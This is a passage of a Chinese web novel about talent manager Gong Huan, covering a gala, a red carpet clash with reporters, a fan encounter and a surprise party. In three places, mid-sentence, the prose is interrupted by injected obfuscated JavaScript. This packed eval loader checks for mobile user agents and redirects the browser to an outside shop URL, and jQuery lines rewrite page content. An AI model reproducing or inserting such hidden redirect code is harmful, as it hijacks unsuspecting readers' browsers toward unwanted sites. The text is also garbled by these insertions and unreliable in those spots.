“陈总,”一位西装革履的男人与陈焰碰完杯,喝了口酒,闲聊起来,“前段时间投资的那部片子后续效应还不错,虽然票房一般,不过后面社交平台上面都在推荐,也算是赚了个名声吧。” 陈焰笑:“还是您有眼光,选中的导演班底都很可靠,不出彩没关系,毕竟不是商业片。对了,我听底下人说要报选‘百花奖’是吗?” 宫欢耳朵竖起来听了半天,好奇地在陈焰旁边悄声问:“什么片子啊?” 不怪她猜不到,最近上映的电影那么多,他们打哑谜似的对话,谁也猜不到啊。 陈焰见她躲在后面,把人往前拉了拉,顺势给两位制片人介绍:“差点忘了介绍,这位是——” “我知道,”一位赵制片人举杯客气道,“宫欢嘛,哈哈哈哈,可真是风头正盛。” 宫欢谦虚摆手:“哪里哪里,一般一般。” “我们正在说的是网上热议的一部文艺片《百日不再》,”陈焰解释说,“是公司投资的项目,由这两位制片人负责和导演班底一起制作的,主角是......那个谁来着。” 赵制片人接话:“璀璨的张xx,老演员了。” 宫欢听见璀璨两个字笑意僵在脸上,这不是她老东家吗? 意识到问题的人不止她一个,陈焰对宫欢有点了解,意外地转头看她:“我记得你以前在璀璨待过。” 宫欢附和道:“对,老东家了。那不错啊,老演员加上好班底,还有几位独具慧眼的专业人士投资,得奖肯定是毋庸置疑的呀。” 两位制片人笑笑:“没准的事情,文艺片很容易吃力不讨好。不过那位导演很有原则底线,非常坚持不更改剧本,中间出了一堆乱子,折腾大半年才总算拍出来。” 文艺片导演,宫欢琢磨着这个赛道可以让甘惊鸿试试,不管能不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫欢从后面一排席位靠近,坐在了刘导演后面,在他摇头的时候,自己也跟着摇头: “啧啧啧,我也觉得那个不行。” 刘导演被后面这声吓得一激灵,扭头就见宫欢不怀好意的笑。 他拢了拢衣服,抱起手臂像是把自己包起来似的:“你谁啊?” 刚问完,刘导演盯着宫欢那张脸,慢慢认出来:“你是......宫欢?” “是我是我,”宫欢连连点头,眼神往制片人那边示意,“赵制片他们说您在选新人,听说主演都定了呀,您在选配角吗?” 做艺术类的多少都有点自己坚持的原则,大多数人偏内向不爱言谈,从外看来就会显出些傲气。 刘导演瞥她一眼又把头扭回去继续看新人,懒懒地说: “选女二。” 宫欢眼睛一亮,争不了女一,女二也行啊。 她咳了咳,掩饰了一下目的,先夸了一番:“刚才就一直在听赵制片夸您,上部文艺片都送去报选国内有名的奖项了,拿奖应该不在话下吧。您对自己的要求真是太高啦,还没休息一下就马上筹备这部片子了,真是劳模啊。” 刘导演视线在邀约而来的嘉宾们中徘徊,很受用宫欢的夸赞:“报得是百花奖,一起报名参评的有好几部电影,拿不拿奖的没个准,顶多是陪个跑。” “这部爱情片的剧本是怎么打动您的,”宫欢套话道,“让您马不停蹄就开始选角。” “这可就说来话长了……” 接下来不论刘导演说了什么,宫欢都表现出好奇,疑惑,质疑然后被解惑后恍然大悟,捧着刘导演一通猛夸,啧啧称叹的流程。 ——超额满足了刘导演的虚荣心。 接着她话头一转:“诶,我这里有人选,您或许可以试一试~” 刘导演觉得和宫欢挺聊得来的,她又和制片人认识,就给了个人情:“女二主要演的是高中大学的阶段,最好要年轻有灵气的演员…” “您还不信我吗?”宫欢拿出手机加了联系方式,一口保证,“晚点我把形象照发给您看看,到时候您给个试镜时间就行。” 刘导演这一晚上看了不少新人,形象都非常好,只是都透着一股轻浮脂粉气,好看得像是一个个从陶瓷窑里烤制出的一个模子的假人。 徒有美,却无灵魂。 反正选角要耗不少时间挑人,多这一两个也不是什么大事。 加过联系方式后,他将剧本文档发给宫欢,两人就这么敲定了下来。 晚宴即将进入下一个流程。 新星们在工作人员的引导下进入后台休息室补妆,准备走场。 宫欢跟着工作人员找到休息室时,高姐早早就在里面等着了。 高姐:“还顺利吗?刚才听几个娱记说你大发善心了?” 宫欢一进来就往休息沙发上一躺,浑身无力似的:“跟那些金主聊天,我脑子转得都要冒烟了,不过没想到有点收获,拉到个电影资源。” “电影?”高姐重复了一遍,“你打算给谁演?” 宫欢半死不活地说:“是个女二,戏份多是高中大学,我打算给甘惊鸿,她演技差点,不过形象合适,精进一下演技就好。” 高姐若有所思:“我们很久没拉到过电影资源了,没想到手上换了一批新人之后反而拉到了。” 两人交谈着,休息室的门被敲了敲后打开一条缝,工作人员说:“您好,请问准备好了吗,马上就要到您出场了哦。” 瘫在沙发上的宫欢一个鲤鱼打挺站了起来:“我没问题,走吧。” 37. 话题女王 新兴晚宴内场。 闪光灯接连不断的亮起,十几家有头有脸的娱记们早就占好了位置,拿好话筒,默背等下要提问的问题。 主持人拿着台卡念出正迎面而来的明星名字。 “感谢xx娱乐,xx汽车,xx珠宝……为本场宴会增添光彩,下面走来的是我们最近热播剧中饰演“顾笙”的夏信!” 夏信笑容爽朗,自信大方地走完红毯,来到主持人旁边,拿起笔在身后的签字墙上画了几笔。 签的时候娱记们高一声低一声地不停喊叫:“夏信!夏信看这里!” 夏信签完字将笔还给主持人,笑着说了声谢谢后,站在前方摆出pose,配合记者们拍照。 咔嚓咔嚓—— 闪光灯此起彼伏,记者们争前恐后地举着话筒抢先发问: “夏信——你在围炉夜话被宫欢霸凌了吗!?请问你是否喝了被她搅浑的茶水!你们…” 这位记者还没问完就被挤到一边,紧接着又有其他人抢着问:“有传言说你干爹是xx你承认吗!宫欢本人也亲口说过!” “夏信!夏信!有人曝出【围炉夜话】录制期间有人耍大牌不按时到场,请问你知道是谁吗!是宫欢吗!?” 夏信拍完照,往前走了两步,娱记们顿时如拥挤的鱼涌动着,齐齐看他。 只见夏新面露难色,委婉道:“我不知道你们哪里听来的消息,宫欢姐其实人很好的。” 有娱记抓住盲点,问:“那在【围炉夜话】里你喝了那壶茶吗?她故意把你的茶水搅浑是不是看不惯你?” 夏信脸色肉眼可见的白了一个度,眼神不自在地乱瞟,支支吾吾地解释:“我不太爱喝茶,节目录制现场大家都很好,没有你们想得那么复杂啦。” 晚宴直播间里面,这会儿全是夏信粉丝刷屏,其他粉丝观望吃瓜。 【还用问吗?宫欢什么人你们不知道啊?】 【崽崽脸都白了,你们别再逼他了!】 【都到这份上了宝宝还在为宫欢说话怕影响不好,呜呜呜不许欺负我们i人!!】 每个明星红毯停留时间不宜过久,夏信还没走的意思,主持人怕影响其他明星时间,拿着话筒友善提醒:“请夏信稍移一步哦,各位有什么问题可以旁边慢聊。” 说完主持人看了眼台卡,紧接着夏信的下一位是…… 她眼睛瞪圆了。 ——是宫欢! 谁安排的顺序啊!!? 把这两位祖宗安排在一块。 主持人抬头,在媒体记者面前的夏信还赖着不走,絮絮叨叨地,没完没了地说着些打太极的话。 不点明答案,总是模棱两可的回复。 另一边。 红毯前,宫欢后面排了两三位艺人,互相之间说了几句:“怎么这次这么慢啊,下一个该谁走了?” 宫欢看了眼高姐拿着的手卡:“咦,该我了,怎么还不叫我,都十来分钟了,空档时间这么长吗。” 排在宫欢后面的几个艺人听见她说的话后,微妙的沉默一秒,紧接着有人悄声问:“上一个好像是夏信吧?” “没错……” 宫欢耳朵很尖,追问时声很大:“谁?上一个是谁?” 高姐往签字墙那边望了眼:“是夏信,好像正在跟媒体纠缠。” 宫欢抬手看了眼表,正常流程是轮到她过去签名拍照。 旁边的工作人员跑去主持人那边问情况,还有一个急得原地打转。 耽误她一个人就等于耽误后面的十几个人,毕竟人多,所有人走完场下来都要一两个小时。再拖,恐怕时间要更久。 “啧,我可没那么多时间陪他玩。” 宫欢索性直接把手机塞给高姐,迈着大步子,走路带风地就上了红毯。 “小欢!”高姐急得叫了她一声,想让她别冲动。 奈何拦不住,宫欢头也不回地朝她摆摆手。 ——别管了。 红毯不长,宫欢走路速度和平时差不多,波浪长发在走动时微微弹动,迎面而来的风将她长发往后吹拂,身上穿着的丝质衬衫仿佛波光粼粼的水面,更显得宫欢走路带风的气势。 主持人准备再次催促一下夏信,结果刚抬头就看见气势汹汹走来的宫欢,目光锐利直视前方,仿佛是朝着敌人走过来似的。 完完完蛋,主持人急中生智:“…向我们迎面走来的是宫欢,业界知名经纪人!” 这话一出,正还跟娱记们你来我往打太极的夏信笑意僵在脸上。 他背后一凉,脖颈咔咔的转了一半过去,看见宫欢几步就走完了红毯,有些心虚地转身,急匆匆地下场了。 “我们,我们等下后台聊啊!” 新星晚宴直播间里面的粉丝见这情况,更是猜测议论纷纷。 【哥哥怎么走了?宫欢一来他就急着离开!?】 【你们看看宫欢那架势,面相看着就是很刻薄的那种人,夏信一看见她就躲。】 【我现在越来越信宫欢霸凌新人了!】 【不是,我怎么感觉夏信好像待了很长时间?刚才其他几个明星没几分钟就离开了。】 【因为崽崽受欢迎啊,娱记们都不想让他走。】 “请宫欢女士为我们的签字墙留下您的签名。”主持人总算能按照流程来了,默默为自己抹了把汗。 【看吧,主持人见了宫欢都擦汗,可见她有多难搞。】 宫欢签完字后站在台上做pose。 每个明星的流程基本都是这样,签字墙签字,然后配合摄影师们拍红毯照,主持人便会退后两步让出空间。 而当主持人退后两步时。 直播间持续有人带节奏: 【主持人都不想靠近她,这还不能说明宫欢万人嫌的地位吗?】 【我说你们是不是有点过度解读了……】 【楼上你不会是她买的水军吧,宫欢什么人品谁不知道啊。】 直播间里吵得热闹,现实里宫欢还没拍两张照片,娱记们就尖叫出声,有几个都破了音。 “宫欢——宫欢啊啊啊!”一位娱记的衣服被挤得歪七扭八,眼镜歪在鼻梁上,坚持不懈地举起话题往前伸。 “你在【围炉夜话】耍大牌让全剧组干等你半小时了吗!” 没等他说完另外两个记者把人挤得双脚离地。 “宫欢!请问你一直乐此不疲的作秀是为了博热度吗!xx是你干爹吗!?” “生日宴之后你的消息就没断过,一次比一次噱头大,请问你是不是在拿自己故意作秀吸引眼球?” “据业内人士透露,你工作室名下所有艺人全部提出解约,是否和你的行事作风高调,抢了自家艺人的风头有关!” “韩雨寒遭全网扒黑历史,前女友爆料被分手后,患重度抑郁和双相情感障碍,韩雨寒再难翻身,请问是不是你为了报复他毁掉生日宴而做的!” 问题一个接一个,前一个人还没说完,后一个就立马接上了。 宫欢盯着霹雳咔嚓的连环拍,神色自若地用手指了指台下的一处空地:“各位记者麻烦移步,旁边聊,后面还有其他人要上台。” 她穿着简单,两三步就走到了晚宴提供的记者提问休息处,干脆利落地站在那等人过来。 反倒是娱记们前扑后挤地慢了一会儿。 先跑来的几位记者满头大汗,举着手里的工作牌:“我是‘娱乐快报’的记者,请问您如何看待韩雨寒因爆料导致事业一落千丈,您觉得这和您有没有关系?” 宫欢像闲聊似的说:“当然有了,关系大大的有。” 娱记以为她也会像其他明星一样绕弯子,没想到这位回答这么直接,他卡了下壳:“额,额…那那你觉得是什么原因呢?” 宫欢摊手:“他活该啊。” “他的歌本来就是抄袭的,火了就翻脸不认人,我本来只跟他解约,想好聚好散,没想到他还要来找我报仇——不撞撞南墙不知道自己几斤几两。” 这位娱记被她这番直言直语堵住话头,愣了下,旁边便有其他记者挤了过来: “宫欢!你承认霸凌夏信吗?【围炉夜话】工作人员爆料有人耍大牌,是你吗?” 宫欢微微露出点笑意,眼下的卧蚕托起圆亮的猫儿眼,有些灵动狡猾:“你们很不专业啊。” “啊?” “节目播放出来的片段里面,能看出来究竟是怎么回事,很明显你们都没好好看这期节目。” 宫欢反过来怪他们,娱记们被问懵了,你看我我看你,被她唬住:“罚你们多看两遍扒细节,看完了再来问我,下一个——” 宫欢点了点一位女娱记让她提问。 “请问您遇到这些舆论风波会觉得很难熬吗?” 宫欢顿了顿,思考了下:“也有,不过我觉得把自己关在房间里,哭天抹泪地说你们冤枉我没什么意思。就像玩游戏,就是要有来有回才能知道输赢,如果不玩那连翻盘的机会都没有。” “好了,今天就说这些,各位回去多做做功课,过段时间我会出澄清视频,看看你们谁能先我一步发现真相,有奖励哦~” 宫欢歪头笑着朝众人Wink一下,摆摆手退后两步转身走了。 有些记者紧追不舍地跟了宫欢一段路才止住步。 记者提问处再往后的一段路是一些经济能力较强的粉头站姐,她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126328|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多是受到明星工作室允许入场来拍红毯照之类的。 有些站姐看见宫欢后,互相手肘碰了碰,眼神示意:快看! 粉头们的眼神像皮球似的来回踢:看见了看见了! 宫欢倒不在意,这会儿不急着走快,脚步慢了些,准备穿过这段路回晚宴现场,再和陈焰打个招呼就可以撤了。 在众多举着横幅荧光棒的大粉间,有些站姐扛着相机大炮对准宫欢身后出来的明星,咔嚓咔嚓地拍着。 夜晚天色很黑,这处庄园的上方天空有几颗零碎的星子,不多,却很耀眼。 宫欢视线漫无目地飘晃放松,在粉头里面掠过一眼,准备目视前方离开了。 忽然,她猛得顿住。 感觉有哪里不太对劲… 刚才晃得那一眼里好像有什么东西? 宫欢头没动,琥珀色的眼眸从中间移到了左边—— 什么都没有嘛…吓死——!? 晃回去的那一眼,在两个粉丝的身体间隙里清楚的锁定了一个带鸭舌帽,黑色口罩,全身黑的人。 他正举着手机对准了宫欢。 距离很远,宫欢耳中却似乎有两声清晰的咔嚓咔嚓。 注意到宫欢已经看见他,这人也不装了,将手机放下,迈步过来。 地上是主办方特意布置的草地,踩上去有草叶窸窣声,奚亭云越过其他人走到警戒线前,隔了些距离,微微低头,小心打量着宫欢的脸色。 这不正是那位“欢欢打爆全场”。 宫欢人已经傻透了,嘴角微微抽动:“你,你为什么在这?我没发微博说我在这啊?” 奚亭云一早想好了回答,他拘谨地站着:“我得到其他家的消息,说新星晚宴会有很多人来,就想着可能你也会来。” 大意…大意啊!大意被逮住啊! 宫欢满脸难以置信。 奚亭云将手机翻转过来,上面是拍了近百张的照片,他两手捧着手机递到宫欢面前:“……这些是刚才拍的,很多粉丝都说你好久没发照片了。抱歉,我我没经过允许拍了这些,我没忍住…能发出去吗?” 宫欢的思绪还停留在他忽然出现的震撼中,脑袋发昏地低头看了眼手机里的照片——从刚才她走红毯到接受记者提问,几乎全都拍了。 宫欢一言难尽,一句话也说不出来。 奚亭云突然“哦”了一声,将手机塞进宫欢手中,然后转身从随身携带的背包里拿出一块牌子。 “欢欢打爆全场”的电子举牌被他匆匆拿出来,打开按钮,那几个字瞬间被点亮,霓虹色的光映在她脸上。 奚亭云举着电子牌,认真地解释:“刚才只顾着拍照,没有手拿。” 宫欢五味杂陈:“……我。” 奚亭云以为她要生气,声音小小地,有些卑微地辩解:“你说可以继续应援的。” 宫欢深吸一口气,把手机塞回他怀里,转身,加快步子往后台走。 奚亭云见状连忙紧跟上去,两人之间隔着一道警戒线,奚亭云边追边躲避着其他人。 “欢欢!” “别这么叫我!” 奚亭云顿时噎住,慌乱无措:“抱,抱歉…习惯了,我我不是故意的,只是大家都这么叫你。” 宫欢还是一直闷头走,看不出情绪。 她走得飞快,奚亭云要分神躲避其他粉丝,免不了落后半步,只能神色慌张地躲开他人,又怕宫欢一眨眼就不见了。 “你是生气我拍了你的照片吗?” “不是。” “那是生气我没经过你的允许出现在这?” “不是。” “还是……” “不是,都不是!” 宫欢忽然止住脚步,奚亭云踉跄着站住,她转身看他,眸色透着说不出的复杂: “是你太突然了,突然出现,突然说是我的粉丝,然后突然的搞得好像很喜欢我一样!我……你不能去粉别人吗!?” 奚亭云低着头看她,小心翼翼到声音也在控制,发出像是气音一般的声音:“不能,喜欢你吗?” 宫欢:“不能!” 奚亭云:“为什么?” 宫欢脸部的皮肤层薄,情绪激动时,眼周会泛起些红,眼眶里最先开始。 乍一看像是要哭却又忍着,她如同应激了一样,不由分说地排斥:“总之就是不行,你喜欢就喜欢,别让我知道!别告诉我!” 说着宫欢直接跑进了后台通道,门口有保镖守着,非工作人员禁止入内。 奚亭云被拦在外面,无措而失落地垂下头。 是不是这次太冒失了,这么突然地不讲道理地出现,又一次吓到她了。 38. 最强站姐 宫欢几乎是落荒而逃。 她一路冲回休息室,高姐正躺在沙发上补觉,被宫欢“砰”的一声,关上了门的声音吓醒。 “地,地震了!?”高姐一个激灵坐起身,看见背靠着门的宫欢有些不对劲。 “你怎么了,有记者提了不应该提的问题吗?” 宫欢喘着气,背靠着门滑坐在地。 她慢慢平复心情,后知后觉地发现她刚才的反应太过了。 宫欢扶着额头怔神。 她也说不清为什么反应那么大,可能以前都是黑粉,突然来了个正常的,她就觉得很不正常? 高姐走过来,蹲下身担忧地看她:“到底怎么了,哪个记者惹了你?” 宫欢摇摇头:“我没事,可能是最近太忙有点压力。对了,你觉得…”宫欢组织着措辞,“会有粉丝特别喜欢我这种性格和高调作风吗?” 高姐理所当然:“肯定会有啊,你那么优秀。” “但我进了这行之后,做什么都没顾忌,”宫欢认真分析,“对外,我的形象是非常负面的,是嚣张跋扈、为非作歹的那种形象,在这种情况下还有人一直喜欢我……他是不是潜在的犯罪分子?” 高姐:“……喜欢你的粉丝就是潜在犯罪分子??你在想什么呢?” “不然我真的想不出他为什么喜欢我,总不能是因为我好看吧——虽然也挺合理的。”宫欢慢慢恢复情绪。 高姐隐约猜到些什么:“你刚才碰见粉丝了? “别在意太多,粉丝喜欢的只是他们想象中的你,毕竟他们了解的你都是我们营销展示出来的一个模板,并不真实。” 宫欢安心不少,想想也是,粉丝对她表达喜欢就吓成这样,怪丢人的。 花了几分钟她决定,下次再遇见那位被她误会成私生粉的粉丝的话,她绝对要弥补他。 但是她下次不太想看见他。 说不出具体的原因,宫欢能感觉到他的诚意和小心翼翼,那貌似是一种很纯粹的感情,不掺杂任何利益。 可就是因为这样,宫欢只觉得浑身刺挠,她对“喜欢”这种东西过敏。 从小到大,她得到过很多关注,其中不乏有许多的爱慕者。无论是被堆满课桌的情书,还是一些明目张胆的拦路告白,宫欢的处理方式都很简单粗暴。 ——情书塞麻袋里按斤卖废品。 ——告白现场坐地开摊,卖告白打卡现场10块钱一次,再对当事人说几句难听刻薄的话。 ——被送名贵礼品后,三倍加价公开拍卖,礼品钱还回去,超出部分归自己。 含泪血赚。 之后,这些让人感到厌烦的东西就会消失在她的生活里。 世界安静了,不再复杂了。 留下的,只有冰冷冷的金钱,让宫欢内心无比平静。 思索再三,宫欢觉得她还是拿钱摆平这位粉丝比较好。 - 晚宴结束。 宫欢一一和几位大佬道别后坐车回家,车上她拿出手机,几个小时没看消息又多了几百条。 甘惊鸿来的那天,宫欢建了个演员群,群名一时没想好就一直没改过,而下午那会儿,甘惊鸿貌似闲着没事改了群名。 目前群里加上宫欢就三人,群名被修改成——戛纳评审会。 宫欢:“……” 下午群名修改过后,甘惊鸿在群里发了好几个萌宠卡通表情包,过了十几分钟关清英回复。 关清英:【你在玩什么。】 甘惊鸿:【我在家好无聊!!欢姐去忙了,英姐你也去试镜了,呜呜呜就我是个无业游民。】 关清英:【昨天刚试完镜,导演那边说这两天就要拍我的戏份,现在在化妆。】 关清英:【前置摄像头怼下巴特拍.JPG】 甘惊鸿:【……额英姐,你一直都这样自拍吗?】 甘惊鸿:【哇,你穿这套深绿色制服也太帅了吧!!啊啊啊啊爱你!】 关清英:【这样拍得很清楚。这套衣服是民国时期xxx穿的军统制服,做工还可以,帅……还好吧。】 两人你一句我一句的聊着。 宫欢又看了看男团群的消息,日常打卡的训练照片都有发,看两眼就退了出去。 除了这些杂事外,一个是刘导演发来的电子档剧本,宫欢打算等下回去仔细看看。 还有一条是【敢说敢言】工作人员发来的消息:【哈喽哈喽,欢姐,我们这边彩排时间定了哦,明后天您那边有时间过来吗?】 消息是七点左右发来的,宫欢回复:【没问题,彩排地点和时间具体是在哪里?麻烦发给我一下。】 解决完工作宫欢打开微博,热议的那些话题她想都不用想,估计又是晚宴那些事。 她的打算是,等稍微过两天,娱记们去扒了节目发现问题后,她再澄清说明情况。 除此之外就是那位大粉了。 宫欢这会儿准备好了,信心满满地去私信界面,她预想的画面是—— 上来就甩个8888的红包,然后用对媒体的那种态度去道歉,说自己刚才喝醉了情绪不稳定,让他不要介意,大家还是好朋友。 然而。 “欢欢打爆全场”的私信消息有十几条,一度超过乱七八糟的新闻消息一跃登顶,成了宫欢私信列表里排位最高的。 宫欢不解,点开私信。 【非常非常对不起,我真的不知道会让你这么生气。】 【我再也不会贸然出现打扰你了】 【照片我会全部删掉,绝不外传】 【不知道你还会不会看私信,我还是想解释一下,我不是突然的喜欢你,我很早就注意到你了,然后一直默默关注。之前工作很忙没时间应援,最近换了一份工作……】 【时间比较充足,而且离你也很近,所以就很想去亲眼看看你,我不太懂粉圈里面的规矩,是不是应该先和你的助理工作室打过招呼才能去应援……】 【说这么多可能你不会看,不管怎么说,我真的知道错了,希望你不要因为我影响心情,你不喜欢粉丝太过活跃的话,我会和其他粉丝说明情况,以后……没有官方消息绝对不出现。】 【可以吗……】 宫欢深深呼吸几下。 她此刻很想联系韩雨寒,问问他是怎么舔着脸去作死闹腾这些真挚诚恳的粉丝,还不会有心理负担。 她先前操控舆论,引导各个艺人的粉丝群体时完全没多的感情,只是将一切都放在可以衡量的利益上面。 她看过许多营销公关的书籍,非常了解粉丝经济,知道怎么吸粉,提纯等等。 她也看到过狂热的、真挚的众多粉丝群体,是如何被明星或工作室玩弄于鼓掌之间,她都见过。 可问题好像是,见过再多的事情一旦发生在自己身上,就完全不对劲了。 等等等等…让宫欢想想她这种情况有没有前例。 “等什么?”坐在副驾驶的高姐迷惑,“你嘀嘀咕咕什么呢?” 宫欢不小心把心里话说漏嘴了,“没事没事别管我。” 前例…… 这种情况算什么?粉丝过度关心艺人? 好像不对,那是粉丝太狂热?跟踪?尾随?私自买消息偷拍? 都对不上。 宫欢累了,一场宴会下来还要动脑子应付粉丝。她胡乱挠了挠头,气急败坏、破罐子破摔地发了个红包过去。 【别管我,你爱干嘛干嘛。】 【照片马上发,让我所有粉丝都看看!你爱应援就应援没人拦你,我是个经纪人,你想粉就粉我管不着,刚才?刚才我喝多了演戏呢没看出来吧,总之,你爱干嘛干嘛!就这样!】 宫欢发完消息赶紧退出页面,装作无事发生地拍了拍胸口:哈哈,哈哈,其实也没什么大不了的吗。 车很快停在别墅外,宫欢下了车往家看了眼,整栋楼黑漆漆的,一点儿灯光都没有。 她看了看手机时间,凌晨两点。 平时就算这个点了别墅里也还会亮起些灯,宫欢看一眼就知道谁在熬夜,今天却全灭了。 进了前院,宫欢走了会儿来到大门前,推开门正准备开灯,忽然“砰”得一声,宫欢吓得双眼紧闭往后躲了躲。 哒——整个大厅霎时亮起光,众人手持礼炮一个个拧开,砰砰砰地响起,彩色碎条漫天飞舞,热烈的欢呼声响起。 “喔哦哦哦!!欢迎回来!” “恭迎宫欢大魔王凯旋归来!” 宫欢眼皮动了动睁开眼睛,大厅里光线亮得刺眼。 安声笑得眼睛弯弯,手里的礼炮还在放,后面是蹦蹦跳跳的甘惊鸿,她举着双手转圈圈一直喊着欢迎欢迎,最后面是嫌弃却配合的萧子重,抱着一筐礼花乱撒。 “你们…在搞什么?”宫欢愣愣地问。 安声丢开用完的礼花炮,手往后一转再一回来,手心里多了个精致小巧的礼盒,他递给宫欢,得意洋洋地等夸:“是不是特别感动啊,我们可是计划了好久。” 宫欢打开盒礼盒,里面躺着一条四叶草的幸运手链,她有些触动,抬头看三人:“计划什么?” 甘惊鸿举手靠近:“是我的主意!哎呀,最近感觉网上好多恶意言论,怕你心情不好,特意给你冲冲喜!怎么样,惊不惊喜,开不开心?” “幸运手链是我挑的!”安声不甘示弱地说,“四叶草代表幸运,我们希望欢欢姐可以一直幸运,带我们闯出一片天地——” “你尬不尬啊,”萧子重抖了抖身体,像是要甩掉鸡皮疙瘩,“搞得跟偶像剧似的,诶卧槽你不会就是看了那个——唔唔!我掏的……钱!!” 安声一个健步冲过去捂住了萧子重的嘴,强行笑着向宫欢解释:“这是我绞尽脑汁才想到的惊喜礼物。” 宫欢身后,高姐也走了过来,看起来并不意外,宫欢偏头看她:“你也知道这事儿?” 高姐耸耸肩不否认:“你最近压力确实不小,都开始神神叨叨、自言自语了。难得他们现在有心,以后红了就不知道是什么样子了,珍惜现在吧。” 宫欢无奈笑笑,将手链拿出来戴在手上,“很好看,谢谢你们啦,我很喜欢。” 甘惊鸿拉着宫欢手臂:“喜欢就好,我们想了好久呢,就怕挑得不好。” 宫欢这时忽然发现好像少了个人,她看了一圈:“奚亭云呢?他不在吗?我有好消息要跟你们说。” 安声下意识看了眼萧子重,挠挠头:“奚哥啊…他……” 萧子重紧急接话:“他——他说感觉手臂骨裂了,去医院拍片子了!” 宫欢:“哈??” “我早上出门的时候不是还好好的吗?”宫欢有些着急,准备拿手机给人打电话,“这么严重的事情你们就放他一个人去了?” 安声憋得脸通红:“不,不是!” 电话刚播出去,一阵系统铃声从门外传来,宫欢扭头看见奚亭云,皱着眉兴师问罪:“你去医院了?上午不是说没有很疼吗,怎么忽然就骨裂了?” 一连串的问题砸在奚亭云身上,他头发微乱,几乎全部汗湿,身上穿着宽松的棉质背心,也湿透了,似乎是刚赶回来。 宫欢还没完:“你为什么只穿了背心,不是去医院拍片子检查骨裂吗?还一头的汗。” “我,我……”奚亭云费力地编出理由,“医生说我是心理作用,其实没事,我回来的时候太高兴,就做了100个俯卧撑。” 萧子重:“……” 安声:“……?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宫欢欣慰地点点头,视线一转落在羡慕拍手鼓掌的甘惊鸿身上,她弯弯眼眸:“还有一件事哦。” 甘惊鸿被吸引注意力,非常配合地问:“什么什么!” 宫欢将手机递给甘惊鸿,屏幕上面是一份电子文档的剧本详情,甘惊鸿看了宫欢一眼,又惊又怯:“剧本?” 宫欢:“嗯哼,电影剧本哦。” “电影剧本!?”萧子重惊讶出声。 甘惊鸿迫不及待地翻了两页,看得出来是爱情片,她小心翼翼地问:“给我的吗?” 宫欢笑:“那不然我把手机给你干嘛?女一被其他人定了,只争取到了女二的角色,你看看怎么样。” “特别好特别好!”甘惊鸿没看两页就双眼亮晶晶地看宫欢,“欢姐你太厉害了!!不出手则已一出手就拿下。” 甘惊鸿高兴几秒,神情又暗了下去:“可是,我经验还不够,连电影的剧组都没去过,我怕……” “那有什么,”宫欢说,“有时候就是新人才能让人眼前一亮,而不是就那几个人换来换去玩剧本杀,看都看烦了。” 萧子重接话道:“就是!经验都不是问题,有的导演就喜欢白纸新人,而且有我——有关清英,我们都可以做你的老师,你喊了那么多声前辈,我总不能白占便宜。” 甘惊鸿和萧子重中间隔着两个人,她听见后侧头朝他看去一眼,似乎被宽慰到了,怯怯地笑起来很动人。 “谢谢你,前辈。” 萧子重别扭道:“谢什么。” “要谢也该谢我,”宫欢挑眉,高傲地仰头,“你也是,不准给我丢脸,演技方面我可以给你找戏剧学院的老师来教,或者你是多问问萧子重和关清英,对角色的理解都好好研究一下。” 甘惊鸿坐直身体,拍拍胸口说:“我绝对让他们见识到演技派野路子的强悍!” 一身疲惫似乎都被拂去了,宫欢打了个哈欠,看见沙发上奚亭云困得头往一边歪,摆摆手让他们去休息: “好了,今天太晚了,细节明天再说,都先去睡觉吧。” 众人三三两两地上了楼回到各自房间。 奚亭云跟在宫欢后面,在她上楼之后也回了房间。 从【围炉夜话】爆料上热搜开始,他就没睡过好觉,中间断断续续补觉,十分钟十分钟的睡,还不停灌咖啡保持清醒,刚才差点撑不住睡在沙发上。 回来前,他在别墅外看见了宫欢的车,知道她先一步到了家。怕被发现端倪,奚亭云把衣服帽子口罩脱掉裹成球,塞进包里,顺着围墙丢进了后花园。 他实在是没力气去洗漱了,倒在床上就想睡,但想到宫欢的回复,又强撑着打开手机,回味似的反复看了几遍。 然后打开粉丝后援会的群,在上百张照片里挑选出了两三张,稍微修了修图便发了出去。 欢欢打爆全场:【今天在新星晚宴遇见欢欢了。】 冲锋陷阵浑不怕:【卧槽!凌晨三点啊老大,你没睡?】 欢欢打爆全场:【刚到家。照片我只稍微修了一下,她……】 都给我后退:【她怎么啦!?我刷到了新星晚宴的直播间,那简直是垃圾场,全都是垃圾!欢欢这个节点去被骂得好厉害呜呜呜】 我跟你们拼了:【我看到欢欢回复记者他们的状态超好,一点儿都没被带着走,还反问他们问题,我看欢欢说会出澄清!到时候狠狠打那群人的脸!】 【老大你怎么知道欢欢会去新星晚宴啊?】 【欢欢皮肤好好啊,生图都超美~】 【老大你从哪儿得到的消息!欢欢那边都没预告!!】 【太强了,老大是和欢欢身边的助理认识吗??】 【啊啊啊欢欢好飒!!爱死了!】 【超绝神图!这简直是封神图!老大超强!最强站姐!】 漆黑的卧室里,奚亭云还拿着手机,人已经熟睡,屏幕蓝光映在他鼻梁上。 微博后援群里不少夜猫子都在刷屏—— 最强站姐! 没过几分钟,手机屏幕的蓝光熄灭,房间陷入安静,只有他均匀的呼吸声。 39. 电视台 夜深人静。 宫欢回到卧室,洗漱过后躺在柔软的床上舒缓身心。 虽说进入娱乐圈来的每一天都那么跌宕起伏,抓马狗血,却没有今天那么让她觉得死人微活的感觉。 